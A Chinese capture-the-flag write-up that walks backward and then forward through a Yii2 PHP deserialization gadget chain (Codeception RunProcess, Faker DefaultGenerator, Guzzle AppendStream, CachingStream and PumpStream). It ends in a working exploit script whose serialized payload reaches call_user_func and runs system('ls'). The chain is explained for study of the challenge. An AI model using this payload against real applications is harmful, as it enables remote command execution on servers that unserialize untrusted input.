题目开篇点题,直接说了是yii2的反序列化链,并且已经进行过简化了
那么首先肯定是要找可能会造成任意命令执行的函数,经过一番查找,在class文件夹中的PumpStream.php中找到了
private function pump($length){if ($this->source) {do {$data = call_user_func($this->source, $length);if ($data === false || $data === null) {$this->source = null;return;}$this->buffer->write($data);$length -= strlen($data);} while ($length > 0);}}
而想要调用pump函数,就需要想办法调用PumpStream类中的read函数
public function read($length){$data = $this->buffer->read($length);$readLen = strlen($data);$this->tellPos += $readLen;$remaining = $length - $readLen;if ($remaining) {$this->pump($remaining);$data .= $this->buffer->read($remaining);$this->tellPos += strlen($data) - $readLen;}return $data;}
但是当想要调用read函数的时候,却发现在这个类中没有调用read函数的地方了,那么就得去其他类里面找。
在CachingStream类中,也找到了一个read函数
public function read($length){$data = $this->stream->read($length);$remaining = $length - strlen($data);if ($remaining) {$remoteData = $this->remoteStream->read($remaining + $this->skipReadBytes);if ($this->skipReadBytes) {$len = strlen($remoteData);$remoteData = substr($remoteData, $this->skipReadBytes);$this->skipReadBytes = max(0, $this->skipReadBytes - $len);}$data .= $remoteData;$this->stream->write($remoteData);}return $data;}
并且可以看到第一行的$data = $this->stream->read($length);,反序列化过程中,$this->stream的值是可以控制的,这样就可以调用到PumpStream类中的read函数。CachingStream中的链也很简单:rewind()->seek()->read()
下一步就是找调用rewind函数的类,也就是AppendStream类,其中有个魔术方法__toString():
public function __toString(){$this->rewind();return "hahaha";}
经过一番查找,只有RunProcess类中的stopProcess满足__toString的调用限制:
public function stopProcess(){foreach (array_reverse($this->processes) as $process) {if (!$process->isRunning()) {continue;}$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());$process->stop();}$this->processes = [];}
想办法控制$process->getCommandLine()的返回值为AppendStream对象即可。
而stopProcess函数又是从__destruct()函数中调用的,也就是说只要反序列化就会触发这个函数,到此为止,总算是拿到一条完整的链,但是想要成功getshell,还需要绕过一堆限制。
倒着找的结束了,该正着看了。
- 为了让
$this->output->debug可以成功执行,需要让$this->output=new DefaultGenerator(); - 接着又为了触发
__toString(),就需要让$process->getCommandLine()返回一个AppendStream对象,即$this->processes[] = new DefaultGenerator(new AppendStream());。 进入到
AppendStream类的__toString()函数中,就是正常的函数调用到seek函数中,基本上只有这一段是关键代码:foreach ($this->streams as $i => $stream) {try {$stream->rewind();} catch (\Exception $e) {throw new \RuntimeException('Unable to seek stream '. $i . ' of the AppendStream', 0, $e);}}
为了让其调用
CachingStream类中的rewind函数,就需要给第2步中的AppendStream对象加一个$this->streams[] = new CachingStream();。进入到
CachingStream类中,而这个类中要想调用read函数,需要控制一些变量的值:public function seek($offset){$byte = $offset;$diff = $byte - $this->stream->getSize();if ($diff > 0) {while ($diff > 0 && !$this->remoteStream->eof()) {$this->read($diff);$diff = $byte - $this->stream->getSize();}} else {$this->stream->seek($byte);}}
可以看到,在调用
read函数之前,会有一个if判断diff的值,而$diff的值是两个值相减得到的,$offset是传进来的值,写死到程序里了,所以没办法修改,只能修改后面的$this->stream->getSize()。令$this->stream = new PumpStream(),同时声明$size的值为一个负数。
接着往下走,到CachingStream的read函数中。第一句
$data = $this->stream->read($length);public function read($length){// Perform a regular read on any previously read data from the buffer$data = $this->stream->read($length);
因为已经为
$this->stream赋值过了,所以跳转到PumpStream函数中的read函数。想要进入
pump函数,需要使$remaining的值不为0:public function read($length){$data = $this->buffer->read($length);$readLen = strlen($data);$this->tellPos += $readLen;$remaining = $length - $readLen;if ($remaining) {$this->pump($remaining);$data .= $this->buffer->read($remaining);$this->tellPos += strlen($data) - $readLen;}return $data;}
可以看到,
$remaining的值是传进来的参数$length和$this->buffer->read($length);读到的值的长度,这两个值都是可控的,$length是第4步中的PumpStream的size的值,而$this->buffer->read($length)可以让$this->buffer=new DefaultGenerator(),随便返回一个不大于$length的值即可。终于到了最后一步:
private function pump($length){if ($this->source) {do {$data = call_user_func($this->source, $length);if ($data === false || $data === null) {$this->source = null;return;}$this->buffer->write($data);$length -= strlen($data);} while ($length > 0);}}
这里就很简单了,前面创建
PumpStream对象时,为$this->source赋值即可,这里因为后面还有一个$length参数会一块传过去,所以可以自己写一个函数,忽略掉这个函数,然后使用yii2自己的序列化和反序列化,得到函数。
exp: ```php <?php
namespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream;
class RunProcess{protected $output;private $processes = [];public function __construct(){$this->processes[] = new DefaultGenerator(new AppendStream());$this->output = new DefaultGenerator();}}echo base64_encode(serialize(new RunProcess()));
}
namespace Faker { class DefaultGenerator { protected $default;
public function __construct($default = null){$this->default = $default;}}
}
namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;final class AppendStream{private $streams = [];private $seekable = true;public function __construct(){$this->streams[] = new CachingStream();}}final class CachingStream{private $remoteStream;public function __construct(){$this->remoteStream = new DefaultGenerator(false);$this->stream = new PumpStream();}}final class PumpStream{private $source;private $size = -1;private $buffer;public function __construct(){$this->buffer = new DefaultGenerator();include("closure/autoload.php");$a = function ($arg) {system('ls');};$a = \Opis\Closure\serialize($a);$b = unserialize($a);$this->source = $b;}}
}
